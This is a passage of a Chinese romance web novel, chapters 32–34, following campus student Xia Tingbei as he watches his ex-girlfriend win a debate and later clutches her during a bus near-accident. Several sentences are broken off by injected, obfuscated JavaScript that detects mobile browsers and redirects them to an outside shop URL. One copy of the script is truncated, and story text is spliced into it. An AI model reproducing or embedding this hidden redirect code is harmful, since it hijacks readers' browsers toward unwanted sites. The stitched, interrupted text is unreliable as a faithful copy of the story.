她走在两个队友中间,马尾在脑后轻轻晃动,白衬衫的下摆扎在牛仔裤里,背着双肩包,包上挂着一个生物社的钥匙扣。 “她参加辩论赛了。”李奕在旁边说。 夏听北没说话。 “校辩论赛,下周三大礼堂,她打一辩。”李奕看了一眼手机,“唐笑跟我说的,听说她打得不错,社团里很看重她。” 夏听北还是没说话。 “以前还真是小瞧她了。”李奕收起手机,由衷地感叹,“以前以为她就是那种不爱学习天天围着男生转的女生,没想到人家是个学霸,还打辩论,都不带搭理你……” 夏听北偏过头看了李奕一眼。 李奕咬住嘴唇,赶紧摆手,“我不是那个意思,我就是说,她跟以前不一样了。” 夏听北收回视线,往前走了。 李奕跟上去,两个人并排走在主干道上。 樱花瓣落在夏听北的头上,李奕伸手帮他拍了一下,他也没反应。 “你去不去看?”李奕问。 “看什么?” “辩论赛。” 夏听北没有回答,他看着前面的路,只顾着闷头走,脸上的表情看不出来在想什么。 当天晚上,夏听北躺在床上,手机拿在手里,翻过来翻过去。李奕在下面打游戏,键盘噼里啪啦响。 夏听北翻了个身,面朝墙,又翻回来,面朝天花板。 “辩论赛什么时候?”他突然开口。 李奕的手指停在键盘上,抬头看了他一眼,“什么?” “辩论赛。”夏听北的语气很淡。 李奕的嘴角慢慢往上弯。 他抬头看着夏听北,一连揶揄,“你不是不去吗?” “我问一下。”夏听北依旧语气淡淡,好像真不在乎似的。 “问一下?”李奕挑挑眉,依旧是一副欠揍的语气,“你什么时候对辩论赛感兴趣了?” 夏听北没说话。 “你要去看就直说,我又不会笑话你。”李奕的嘴角还弯着。 夏听北转过去面朝墙了。 李奕在下面笑了两声,夏听北的后背僵了一下,没有动弹。 “周三晚上七点,大礼堂。”李奕大声对着上铺喊,“经管学院对生科院,她是正方一辩。” 夏听北没有回应。 过了几秒,他说了一句“你打游戏声音小点”。 李奕笑着摇了摇头。 周三到了。 大礼堂门口贴着辩论赛的海报,白底蓝字,写着辩题和双方学院的名字。 正方的名字写在左边,反方写在右边,生科院对经管学院。 海报下面还印着几个人的名字,谢予青三个字在正方一辩那一行。 夏听北到的时候,大礼堂的灯已经亮了。 这个辩论赛谁都可以进去看,夏听北直接走进去,发现里边坐的人不算少。 他找了个靠后的位置坐下来。 台上摆着两张长桌,铺着深蓝色的桌布,桌上放着名牌和水杯。 大礼堂的舞台上方的红色横幅写着“校园辩论赛”几个字,横幅下面挂着一排小彩旗。 七点整,主持人上台。 “各位老师,各位同学,欢迎来到本届校园辩论赛初赛的现场。今天的辩题是——‘短视频的火爆是精神文化的丰富还是匮乏’,正方,生科院,观点是丰富,反方,经管学院,观点是匮乏,下面有请双方辩手上场。” 正方的四个人从左侧走上台。 谢予青走在第一个,穿着白衬衫,黑色长裤,头发扎成马尾,别了几个黑色的发夹固定碎发,白衬衫扣子系到最上面一颗,袖口的扣子也系着,非常正式。 她走到自己的位置前,站定,拉开椅子坐下。 夏听北坐在后排,看着台上那个穿白衬衫的人。 她的侧脸在舞台灯光下轮廓分明,额前的碎发用夹子别得很干净,露出一整张脸。 她的嘴唇抿了一下,看得出是有一些紧张的。 她把手放在桌上,笔记本摊开在面前,低头看了一眼,抬头的时候正好跟夏听北的位置对上。 她的目光在他那个方向停了一瞬,然后移开了。 主持人介绍了评委和比赛规则。 正方一辩先开篇立论,三分钟。 谢予青站起来。 她双手撑了一下桌沿,身体微微前倾,清了清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537063|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓子。 “谢谢主席,我方的观点是,短视频的火爆是精神文化的丰富。” “今天,当我们打开手机,刷过一条条短视频,我们看到的不仅仅是娱乐和消遣。我们看到的是,一个农民用手机记录下他种植有机蔬菜的过程,他的视频被几百万人看到,城里的人因此知道了食物从哪里来。我们看到的是一个退休教师用三分钟讲解一首古诗词,让那些没有机会走进课堂的人也能感受到文学的美。我们看到的是一个偏远山区的孩子用短视频展示她家乡的非物质文化遗产,让一种即将失传的手艺重新进入公众的视野。” 她停顿了一下。 身体往前倾了半寸,麦克风离她的嘴唇更近了。 “短视频降低了创作的门槛。在过去,表达需要资源,需要渠道,需要别人给你机会。在今天,一个普通人,只需要一部手机,就可以让世界听到他的声音。这是文化参与的巨大丰富,不是匮乏。” 台下有人鼓掌。 谢予青的语速不快不慢,每一个词咬得清楚,重音落在“丰富”两个字上。 她的手没有动作,目光扫过台下。 “对方可能会说,短视频的内容是碎片化的,是浅薄的。但我们要问,碎片化就等于浅薄吗?一首十四行的十四行诗,比一部长篇小说更浅薄吗?一个三分钟的短视频,承载的信息量也许有限,但它在三分钟内激发的好奇心,可能会引导一个人去阅读一本书,去学习一门课程,去探索一个全新的领域。短视频是入口,不是终点。” 她又停顿了一下。 这次停顿的时间比之前长了一点,台下的注意力被她抓住了,几百个人的礼堂安静下来,呼吸可闻。 “我方认为,任何一种新的文化形式的出现,在它诞生的初期都会遭遇质疑。电影诞生的时候,有人说它只是杂耍。流行音乐诞生的时候,有人说它是对经典的亵渎。今天我们回看这些争论,我们知道,那些质疑错了。短视频也是如此。它也许不完美,但它正在做的事情是让文化从精英走向大众,从封闭走向开放,从单一走向多元。” 她吸了一口气。 “这是丰富,谢谢。” 三分钟到了。 台下响起掌声。 夏听北坐在后排,没有鼓掌,他的手搭在膝盖上,手指微微弯着。 谢予青坐下来。 她的表情没有变化,还是那副专注的样子,翻开笔记本看了一眼,又合上了。 比赛继续。 反方一辩立论,说短视频是精神文化的匮乏。 正方二辩驳论,反方二辩驳论。 双方三辩盘问,自由辩论。 谢予青在一辩陈词之后没有再说话。 一辩的任务就是立论,立完论,后面的环节交给其他辩手。 她坐在那里,听着队友和对手的发言,偶尔在本子上记几个字。自由辩论的时候,她站起来一次,回应了对方的一个质疑,坐下之后又没再说话。 比赛结束,评委打分,主持人宣布结果。 “正方,生科院,获胜。” 正方几个人站起来,互相击了一下掌。 谢予青跟队友击掌的时候笑了一下,虽然很收敛,但是可以看出,她整张脸都亮了起来。 她跟旁边的赵敏握了一下手,说了句什么,赵敏笑得很开心。 台下的人开始离场。 前排的人站起来往后走,后排的人往门口走。 夏听北坐在原位没有动,看着台上的人收拾东西。 谢予青把笔记本放进双肩包,拿起水杯,跟着队友从舞台左侧下去了。 “夏听北?” 一个声音从旁边传来。 33. 第 33 章 苏昭昭站在他右边的过道上,穿着一件浅粉色的开衫,头发散在肩上,手里拿着一个白色的小包。 她微微弯着腰看他,眼神里带着一点意外。 “你也来看辩论赛?” 夏听北看她一眼,语气平淡,“嗯。” 苏昭昭在他旁边坐下来。 “她打得真好。”苏昭昭看着台上正收拾东西的人,语气里有一点什么东西,不浓不淡。 “是啊。”夏听北说。 苏昭昭转过头看着他。 夏听北的视线还在台上,台上的人已经走得差不多了,只剩几个工作人员在搬桌椅。 他的表情很平静,语气也很平静。 “她很厉害。”夏听北又说了一句。 苏昭昭心里有些吃惊,她很少听到夏听北夸赞谁,更何况对方还是谢予青。 在她心里,夏听北向来对谢予青很没有耐心。 从什么时候开始,他这么关注她了? 她转回去看着台上。 台上已经没有人了。 深蓝色的桌布被揭走了,名牌和水杯也已经收走,只剩下几张空桌子和几把空椅子。 “走吧。”夏听北站起来。 苏昭昭跟着站起来,两个人一起往外走。 她偏过头看了他两次,他的脸在路灯下轮廓分明,眼睛看着前面,看起来有些心不在焉,没有任何要跟她搭话的意思。 两个人沉默着走了一段路。 到了岔路口,苏昭昭停下来。 “我往那边。”她指了指左边的路。 “嗯。”夏听北还是没有看她,眼睛很随意地看着前方。 苏昭昭等了一秒,他没再说话,她转身走了。 夏听北站在原地,风吹过来,樱花瓣落在他头发上,他抬手拂了一下。 他往宿舍方向走。 到了宿舍楼下,李奕正站在门口打电话,看到他,马上把电话挂断了。 他走过来,拍一下夏听北的肩膀,“看了?” “嗯。”夏听北依旧一副淡淡的样子。 “怎么样?” “赢了。” “她表现得怎么样?”李奕满脸八卦。 夏听北没吭声,走进楼门,李奕跟在他后面上楼梯。 “很完美。”夏听北在楼梯拐角说了一句。 李奕在后面没出声,看着夏听北的后脑勺。 回到宿舍,夏听北换了拖鞋,把外套脱了挂在椅背上。李奕坐到自己的椅子上,转过来看着他。 “我听唐笑说,她把你甩了?”他说这话的时候,声音中有些控制不住的笑意,被他强行压着,语气显得贱嗖嗖的。 夏听北脸一下子黑了,板着脸没说话,拿出手机开始刷。 “那你现在是在干嘛?”李奕耸耸肩,“以前她追你的时候,你爱答不理,现在人家不理你了,你反倒……” “你话太多了。”夏听北打断他,语气不怎么好。 李奕哈哈哈笑着,打开电脑玩游戏了。 夏听北手中拿着手机,心思却在飞。 他想起去年刚开学的时候。 开学第一天,他在学校门口等人,看到大包小包独自前来的谢予青,就好心帮她提了行李,到了宿舍,她小声说了句什么,他没有听清,就微微向前凑了凑,眼睛盯着她,很认真地说了一个“嗯?” 那一瞬间,两个人的距离陡然拉近了。 她的眼睛近距离看着他的脸,眼神一点一点发起光来。 她说:“你是个好人。” 那之后,她突然开始追他,每天发消息,约他吃饭,在宿舍楼下等他。 他那时候觉得她很烦,消息不回,吃饭推掉,等她走了才下楼。他答应她是因为那天她在他宿舍楼下站了两个小时,下着雨,没打伞,他下楼看到她浑身湿透了还在那里。 她说你不答应我我就一直站着。 她的眼中有一闪而过的疯狂。 那是一种喜欢的东西一定要得到的小孩子气的疯狂。 沉默了几秒,他说好,她说真的吗,他说嗯。 她哭了,哭完又笑了,在雨中抱着他,还踮起脚亲了他的脸。 他不知道自己为什么答应她。 他只是不想让她在雨里再站下去了。 没想到没过多久,她突然就变了,像换了一个人。 要和他分手,不再搭理他,连看他的眼神都变了。 他以为她是装的,以为她在赌气,以为过几天就好了。 过了一周,两周,一个月,她还是那样。 他开始不舒服了。 答应她的追求的时候,他说不清自己是什么感觉,好像没有特别高兴,但也并没有不高兴。 说实话,活了那么大,他还没有喜欢过谁,没有过什么心动的感觉。 她追他追得很疯狂,站在雨里好几个小时,他就答应了她。 那么,如果是其他女孩也这样追他,他会答应吗? 他不知道。 他好像天生就没有什么感情一样。 谢予青在追他的时候会在他身边絮絮叨叨说很多话,比如她父母从来都不管她,她总是一个人孤孤单单的,比如这么多年没有一个人能够走进她心里,直到他出现。 她说他的眼神很深情,很温柔,让她一下子就陷了进去,她说她想要找一个温柔的人。 那个时候,夏天北想,他温柔吗?深情吗? 好像没有吧。 他的眼睛天生就长这个样子。这种眼睛据说叫桃花眼,看谁都深情,高中的时候,他一个好朋友看到他收了那么多女孩的情书,就笑着跟他说:“你这家伙眼睛太漂亮了,看鞋底子都深情,这可真没法治了。” 还跟他提建议:“要不你以后跟女孩说话的时候就别对视了吧,这谁能顶得住?我都快顶不住了。” 那天回去之后,夏听北对着镜子左右看了看,也没觉得自己的眼睛有什么特别之处。 不过从那之后他的脸更冷了,语气也更加冷漠,慢慢的,还真的很少有女孩子敢追他了。 谢予青提分手的时候,他有些不想同意。 他也说不准是因为什么。 或许是因为在他心里面,谈恋爱这件事情还是很郑重的,他不是一个随便的人,虽然他好像没什么感情,但是既然他已经答应了,肯定也不想轻易分手,当然,更不想承认的是……他觉得对方耍了自己。 那一瞬间,其实他是有一些恼怒的,也有一些不甘心。 他不答应,不想轻易接受。 看到她跟乾珩在一起的时候,他就更愤怒了,那种被戏耍的感觉也更加强烈。 她怎么能在那么疯狂的追求了他一个月之后,又那么轻而易举地跟他分手,然后嘻嘻哈哈跟其他男人在一起? 而且那个男人很明显对她还有意思。 他叹了一口气,突然又想,半年过去了,他总是关注着他,还是因为气不过吗? 有没有点别的什么? 说不清的。 他只知道他很想看到她,看到她之后,他就忍不住想要靠近她。 四月的最后一个周末,生物社组织做琥珀。 林楠在群里发了通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢予青靠着椅背往窗外看,感觉到旁边的人也在靠着椅背,两个人的肩膀之间隔着大约二十厘米的距离,谁都没有越过那条线。 车子驶出校门,拐上主路。 两边的梧桐树往后倒退,新叶在阳光下绿得发亮。 有一段路在施工,围挡把半边路占了,车子开得很慢,颠簸了一下,谢予青的头碰到车窗,她调整了一下姿势。 夏听北突然没头没脑地说了一句:“恭喜。” 他的声音不大,混在车厢的噪音里,有些模糊。 谢予青转过头看他。 他靠着椅背,脸上没有什么表情。 “什么?”谢予青问。 “辩论赛,赢了。”他说。 “噢,谢谢。” 谢予青转回去,继续看窗外。 两个人的对话结束了。 车子继续往前开。 出了市区,路两边的建筑变矮了,能看到远处的农田。 田里的麦子已经长得很高了,绿油油的一片,风一吹就起了波浪。 谢予青看着那片麦浪,想起了冬令营的时候在农科院看到的那片试验田。 那时候麦子还没返青,枯黄的一片趴在土上,现在全绿了,时间过得真快。 车子拐进一条窄路,两边是居民区,路不宽,路边还停着车,能通行的空间只够一辆车勉强通过。 司机按了一下喇叭,车速放慢了。 突然,从路边停着的两辆车之间窜出一辆摩托车。 摩托车速度很快,车身倾斜着冲出来,骑车的人戴着头盔,看不清脸。 大巴司机猛打方向盘,同时踩死了刹车。 34. 第 34 章 轮胎在地面上发出尖锐的摩擦声,车身剧烈地向一侧倾斜。 车厢里尖叫声四起。 谢予青的身体被惯性甩向一边,整个人往窗户方向撞去。 她的脑子里一片空白,条件反射地伸手去抓前面的椅背,没抓到,手在空气中划了一下,什么都没握住。 一只手从旁边伸过来,有力地搂住了她的肩膀。 那只手扣在她的肩头,五指收紧,把她整个人往回拽。 她的身体被那只手带回来,撞到一个胸膛上。 另一只手从另一侧绕过来,环住她的上臂,两只手在她身前交叠,把她整个人圈住了。 车子继续晃动了几下,终于停了下来。 发动机熄火了,车厢里一片安静。 很快,众人反应过来,车厢里马上开始闹哄哄的。有人一直拍着胸脯在说吓死了吓死了,还有人在骂那个骑摩托车的。 司机打开车门下去查看情况。 谢予青靠在夏听北的怀里,整个人蜷着,头低着,双手抱在头顶。她的心跳很快,手指在发抖,耳朵里嗡嗡地响。 她能感觉到夏听北的胸膛贴着她的后背。 她的意识慢慢回来了。 她放下抱在头顶的手,直起身。 肩膀上的手没有松开,腰侧的手臂也没有松开,她整个人还在他的怀抱里。 她转头看夏听北。 他的脸是白的,嘴唇的颜色也很淡,额头上有一层细密的汗珠。 他的眼睛看着前方,眼神涣散,手在微微发抖。 “你没事吧?”谢予青问。 夏听北低头看着他,他眨了两次眼,像是在确认眼前的人是谁。 “没事。” 声音是有气无力的,气很短,像从喉咙里挤出来的。 他松开手,手臂慢慢垂下去。 他的手从她肩上滑落的动作很慢,手放在自己膝盖上,手指还在微微发抖,张了张,握成拳头,又松开了。 他的呼吸很浅,胸口起伏的幅度不大,频率比平时快。 “你是不是不舒服?”谢予青看着他苍白的脸,眉间拧了一下。 “没有。” “你的脸色很差。” “没事。”他把脸偏向过道,拒绝继续再跟她交流。 谢予青没再说话。 她转回去,坐正了。 旁边的学姐从前面探过头来问有没有人受伤,谢予青说没事。 学姐看了看她,又看了看夏听北,夏听北偏着脸,学姐没多问,转回去了。 车厢里渐渐恢复了正常。 司机回到驾驶座上,发动了车子。 有人问他怎么回事,他说摩托车跑了,人没事就好。 车子重新启动,继续往前开。 谢予青靠着车窗,余光能看到旁边的人。 他靠在椅背上,闭着眼睛,脸色没有好转,手还放在膝盖上,手指没有再抖了,但整只手无力地搭在那里。 “如果你不舒服,要不要先回去?”谢予青说。 夏听北睁开眼睛看着她。 “不回去。”语气很硬,跟刚才有气无力的声音判若两人。 谢予青看了他一眼,无奈地叹了口气。 转回去,不说话了。 车子又开了二十分钟,到了市中心。 手作工坊在一栋写字楼的五楼,地方不大,装修很温馨,木质的桌椅,墙上挂着各种琥珀成品。 大桌子上铺了灰色的桌布,每个人面前摆着一块木板,一把镊子,一把剪刀,还有各种材料。 工坊的老师站在前面,讲了琥珀的制作步骤。第一步选材料,可以选干花,可以选小昆虫,可以选各种小物件。 第二步摆造型,把选好的材料放在模具底部,怎么好看怎么摆。第三步调胶,A胶和B胶按三比一的比例混合,搅拌均匀,静置消泡。 第四步灌胶,把调好的胶慢慢倒入模具,不能有气泡。第五步等凝固,大概需要二十四小时,今天做不完,下周来拿。 林楠在旁边补充说下周同一时间大家再来一次,拿成品,顺便聚餐。 谢予青坐在长桌的中段,面前摆着一堆材料。 干花有好几种颜色,满天星白色的小花,绣球花紫色的花瓣,还有一些叫不出名字的绿色叶片。 小昆虫装在玻璃瓶里,有瓢虫,有金龟子,有蝴蝶的翅膀。她拿起镊子夹了一片绣球花瓣,放在模具底部比了比,太大了,换了一片小的。 夏听北坐在她右边,面前的材料一样都没动。 他坐在那里,看着桌上的东西,不知道在想什么。 他的脸还是白的,比刚才好了一点,嘴唇有了一点颜色,手指不抖了。 但他整个人看起来没什么精神,肩膀微微往下塌。 谢予青低头摆弄自己的造型。 她把满天星和绣球花瓣搭配在一起,中间放了一片蕨类的叶子,蕨叶的形状很好看,像一把微型的梳子,叶缘有细密的锯齿。 她用镊子调整了几次位置,蕨叶的朝向,花朵的疏密,花瓣之间的间距,退后一点看了看,又凑近调整了一下。 满意了,开始调胶。 A胶倒进量杯,B胶按比例加入。 她用搅拌棒顺时针搅拌,动作不快不慢,搅拌了大约三分钟,胶液变得清澈了,气泡也消了大半。 她把量杯放在一边,静置。 偏过头看了一眼夏听北。 他面前的模具还是空的,材料还是整整齐齐地摆在盒子里,一样都没动。 他的手放在桌上,手指轻轻敲着桌面,一下,两下,三下,节奏均匀,漫无目的。 “你不做吗?”谢予青问。 夏听北看了她一眼,这才拿起镊子,从盒子里夹了一片蕨叶,放在模具底部,又夹了五朵满天星放在蕨叶旁边。 跟刚才谢予青步骤一样,他很快做完了一切,静置消泡。 谢予青的胶消好了。 她端起量杯,慢慢地把胶倒入模具。 胶液从量杯口流出来,细细的一股,像透明的糖浆,从模具的一侧开始,慢慢铺开,盖住了蕨叶和花瓣。 花瓣在胶液里微微漂移了一下,她屏住呼吸,等胶液铺满模具底部,放下量杯,用镊子轻轻把漂移的花瓣拨回原位。 拨了两次,第三次的时候稳住了。 她抬起头,看向夏听北。 他的胶还在静置。 他靠在椅背上,看着自己面前那个空空的模具,盯着那五朵一字排开的满天星。 他的眼神放空了,焦距不在那几朵花上,不知道在想些什么。 夏听北把胶倒入模具,胶液流得均匀,从模具的一侧慢慢扩散,接触到满天星的花瓣,白色的小花在透明的胶里微微动了一下,稳住。 他看着那个过程,胶液没过花朵,全部盖住,胶液表面平静,没有气泡。 他放下量杯,没再动。 两个人都做完了。 周围的人还在忙,工坊的老师在指导一个女生怎么处理胶里的气泡,用打火机在胶面上燎一下,气泡就破了。 谢予青看着老师操作,记下了这个方法。 夏听北做的琥珀在桌上放着,模具里的胶还没有凝固,透明得像水。 五朵满天星浮在胶液的不同深度,有两朵沉底了,有一朵悬浮在中间,有两朵还在缓慢地往下沉。 透明的胶,白色的花,简简单单。 他的手肘撑在桌上,手掌托着下巴,看着那五朵花往下沉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539336|203121||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谢予青偏头看了他一眼。 他的侧脸在灯光下线条柔和了一些。 他在看那个琥珀,看得很认真,眼睛一眨不眨。 那个表情跟他平时不一样。 平时他总是冷着一张脸,嘴角往下,眉头微微皱着,好像对什么都不满意。 现在他的眉头松开了,嘴唇轻轻闭着,很安静,像一个小学生。 周围的人陆续做完了。 林楠站起来,拍了拍手,“大家做完了就把模具放在桌上,写上名字,下周来拿,收拾一下东西,我们该回去了。” 大家开始收拾。 谢予青把镊子和剪刀放回盒子里,用湿巾擦了手。 她拿起桌上的记号笔,在模具底部的贴纸上写了自己的名字,夏听北也写了,龙飞凤舞的。 出了工坊,大家下楼。 大巴在楼下等着,等人齐了,上车,原路返回学校。 还是原来的座位,谢予青靠窗,夏听北在旁边。 两个人刚坐好,林楠从前面探过头来。 “谢予青,你过来一下,坐我旁边,我有事跟你说,社团下个月的活动安排,想听听你的意见。” 谢予青点了点头,“好。” 她解开安全带,准备站起来。 一只手抓住了她的手腕。 手指扣在她手腕的骨节上,温度偏低,手心是凉的。 谢予青低头看着那只手。 夏听北的手,骨节分明,手指修长,指甲剪得很短。 他的手腕从袖口露出来一截,能看到青色的血管。 她抬头看夏听北,满脸不解。 他看着她,脸上的表情跟平时不一样,他的眼睛里有一种东西,她说不上来是什么,也许是脆弱,也许是害怕,总之是某个她没有在他脸上见过的情绪。 “别走。”他的声音很低,气很弱。 谢予青愣了一下,“我就是去前面跟学姐聊会儿天,又不下车。” 夏听北的手没有松开,手指反而收得更紧了,抓得她的手腕有一点疼。 他看着她的眼睛,重复了一遍。 “别走。” 谢予青看着他苍白的脸,他的嘴唇动了动,好像在犹豫要不要说下一句话。 “求你了,别走。”他还是说了。 谢予青的心脏被什么东西撞了一下,说不上是什么感觉,闷闷的,在胸腔里扩散开来。 她转头看着前面。 林楠还在等她,手里拿着文件夹,正笑眯眯地看着这边。 “学姐,我待会儿再过去。”谢予青说。 林楠看了看两个人,脸上露出了一个了然的微笑。 “行行行,不打扰你们两个了,咱们微信聊吧。”林楠转回去了。 谢予青知道她误会了,只能叹口气。 她转回来,低头看着夏听北的手。 他还抓着她的手腕,没有松开的意思。 “你松手,我不走。” 夏听北的手慢慢松开了,他把手缩回去,放在自己膝盖上。 谢予青揉了揉被捏疼的手腕。 他刚才用的力气很大,手腕上留下了一圈浅浅的红印。 她看着那个红印,心里有好多东西在翻涌,但她的脸上什么都没露出来。 车子开了。 夏听北靠着椅背,侧过脸闭目养神,没再看她。 谢予青看了他一眼,他的脸上又恢复了那种什么都没在想的表情。 大巴在路上行驶。 谢予青靠着车窗,右手的手腕上还残留着他手指的触感。 她低头看着那一圈渐渐消退的红印,看着它们从红色变成粉色,从粉色变成正常的肤色。 她的手指微微动了一下。